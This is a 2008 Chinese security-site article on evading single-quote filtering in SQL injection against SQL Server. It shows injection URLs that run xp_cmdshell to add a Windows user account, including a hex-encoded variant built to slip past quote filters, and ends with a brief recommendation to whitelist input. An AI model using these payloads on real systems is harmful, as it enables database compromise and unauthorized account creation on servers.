首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 专题文章

SQL注入中绕过'(单引号)限制继续注入


http://www.gipsky.com/
PS:PPT上写的的东西不严谨,找了点资料看下,呵呵,多谢茄子宝提醒。



来源:网络。



我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的,包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:



http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--



  这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:



http://www.ilikeplmm.com/show.asp?id=1;declare @a sysname select @a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 exec master.dbo.xp_cmdshell @a;--



  是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。



0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400



  这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就轻易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:



declare @a sysname

select @a=

exec master.dbo.xp_cmdshell @a



解决办法:



  过滤变量,限制只答应输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。







[最后修改由 , 于 2008-09-23 16:34:52]
<< 一种Linux下隐藏文件的新方法 中铁实战:利用分层模型解决网络故障 >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号